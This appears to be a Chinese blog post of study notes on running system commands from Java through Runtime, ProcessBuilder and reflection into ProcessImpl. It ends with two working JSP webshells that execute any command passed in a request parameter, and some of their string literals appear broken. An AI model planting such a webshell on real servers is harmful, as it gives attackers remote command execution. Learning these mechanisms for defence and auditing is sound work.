Java 命令执行

前言

在学习了反射之后赶紧看一下执行系统命令的一些类。

执行命令的类

RunTime类

也是用的最多的一种,通过Runtime类的exec方法执行系统命令。
关键代码为:

Process p = Runtime.getRuntime().exec("calc");

结合IO操作,将结果打印出来,代码为:

    public void test3() throws IOException {
        try {
            Process p = Runtime.getRuntime().exec("whoami");
            InputStream input = p.getInputStream();
            InputStreamReader ins = new InputStreamReader(input, "GBK");
            //InputStreamReader 字节流到字符流,并指定编码格式
            BufferedReader br = new BufferedReader(ins);
            //BufferedReader 从字符流读取文件并缓存字符
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
            br.close();
            ins.close();
            input.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

过程:
通过Runtime类的exec方法执行命令获取输入流getInputStream(),再InputStreamReader处理流转换为字符流,并指定gbk的编码格式。BufferedReader缓冲流读取文本到缓冲区,再通过readLine()方法打印出结果。

ProcessBuilder 类

ProcessBuilder类通过创建系统进程执行命令。
关键代码为:

ProcessBuilder builder = new ProcessBuilder("calc");
Process process = builder.start();

将获取到进程中的输出信息和错误信息,通过IO流的方式的读取。

    public void test3() {
        try {
            String[] cmds = new String[]{"cmd","/c","ipconfig"};
            ProcessBuilder builder = new ProcessBuilder(cmds);
            Process process = builder.start();
            InputStream in = process.getInputStream();
            //获取输入流
            InputStreamReader ins = new InputStreamReader(in, "GBK");
            // 字节流转化为字符流,并指定编码格式
            char[] chs = new char[1024];
            int len;
            while((len = ins.read(chs)) != -1){
                System.out.println(new String(chs,0,len));//字符串类型输出
            }
            ins.close();
            in.close();

        } catch (IOException e) {
            e.printStackTrace();
        }
    }

过程:
通过ProcessBuilder类执行系统命令。
相比较Runtime类执行系统命令,这次试用String[]字符串数组指定程序执行的系统命令。
如果是windows,则为
String[] cmds = new String[]{"cmd","/c","ipconfig"};
如果是linux,则为
String[] cmds = new String[]{"/bin/bash","-c","ifconfig"};
在打印的时候字符强制转换为字符串。

反射调用ProcessImpl类

Runtime和ProcessBuilder执行命令实际上调用的也是ProcessImpl类。
对于该类,没有构造方法,只有一个private类型的方法,可以通过反射调用。
关键代码为:

Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true); 
    public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        //String[] cmds = new String[]{"cmd","/c","ipconfig"};
        String[] cmds = new String[]{"/bin/bash","-c","touch 3.txt"};
        Class clazz = Class.forName("java.lang.ProcessImpl");
        //获取该class类
        Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
        method.setAccessible(true);
        //忽略访问权限
        Process invoke1 = (Process) method.invoke(null, cmds, null, ".", null, true);

        InputStream input = invoke1.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        //InputStreamReader 字节流到字符流,并指定编码格式
        BufferedReader br = new BufferedReader(ins);
        //BufferedReader 从字符流读取文件并缓存字符
        String line;
        while ((line = br.readLine()) != null) {
            System.out.println(line);
        }
        br.close();
        ins.close();
        input.close();
        invoke1.getOutputStream().close();
    }

反射调用Runtime类

关键代码为:

Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtimeInstance = constructor.newInstance();
Method runtimeMethod = clazz.getMethod("exec", String.class);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");

java.lang.Runtime类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过newInstance()创建对象,反射再调用方法。

    public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        //String[] cmds = new String[]{"cmd","/c","ipconfig"};
        String[] cmds = new String[]{"/bin/bash","-c","touch 1.txt"};
        Class clazz = Class.forName("java.lang.Runtime");
        // 2. 获取无参构造器
        Constructor declaredConstructor = clazz.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        // 3. Constructor.newInstance() 创建对象
        Object o = declaredConstructor.newInstance();
        //Runtime o1 = (Runtime) o;
        // 4. 获取方法
        Method show = clazz.getDeclaredMethod("exec", String[].class);
        Object invoke = show.invoke(o, (Object) cmds);
        Process invoke1 = (Process) invoke;

        InputStream input = invoke1.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        //InputStreamReader 字节流到字符流,并指定编码格式
        BufferedReader br = new BufferedReader(ins);
        //BufferedReader 从字符流读取文件并缓存字符
        String line;
        while ((line = br.readLine()) != null) {
            System.out.println(line);
        }
        br.close();
        ins.close();
        input.close();
        invoke1.getOutputStream().close();
    }

jsp 命令执行

学习了java执行命令的方法,顺手也就会了jsp命令执行的webshell。

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
out.print(System.getProperty("os.name").toLowerCase());
String  cmd = request.getParameter("cmd");
if(cmd != null){
    Process p =  Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
    InputStream input = p.getInputStream();
    InputStreamReader ins = new InputStreamReader(input, "GBK");
    BufferedReader br = new BufferedReader(ins);
    out.print("
");
    String line;
    while((line = br.readLine()) != null) {
        out.println(line);
    }
    out.print("
"); br.close(); ins.close(); input.close(); p.getOutputStream().close(); } %>

Runtime方法为例,将try语句直接移动过来。System.out.println()修改为out.println(),添加out.print("

")格式化输出,import导入所需要的包。

image.png

将脚本改成适用于windows和linux。

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
    try {
        String os = System.getProperty("os.name");
        if(os.toLowerCase().startsWith("win")){
            out.print("windows");
            String  cmd = request.getParameter("cmd");
            Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
            InputStream input = p.getInputStream();
            InputStreamReader ins = new InputStreamReader(input, "GBK");
            BufferedReader br = new BufferedReader(ins);
            String line;
            out.print("
");
            while((line = br.readLine())!=null) {
                out.println(line);
            }
            out.print("
"); br.close(); ins.close(); input.close(); p.getOutputStream().close(); }else{ out.print("Linux"); InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream(); InputStreamReader ins = new InputStreamReader(in); char[] chs = new char[1024]; int len; out.print("
");
            while((len = ins.read(chs)) != -1){
                System.out.println(new String(chs,0,len));
            }
            out.print("
"); } } catch (IOException e) { e.printStackTrace(); } %>

总结

通过收集、编写一些命令执行的方式,对java的命令执行有了初步了解,且对比之前的反射机制多了一些理解。

参考资料

https://www.anquanke.com/post/id/221159
https://www.bookstack.cn/read/anbai-inc-javaweb-sec/javase-CommandExecution-README.md
https://ca01h.top/Java/code/6.Java%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E4%B9%8B%E6%9C%AC%E5%9C%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/

你可能感兴趣的:(Java 命令执行)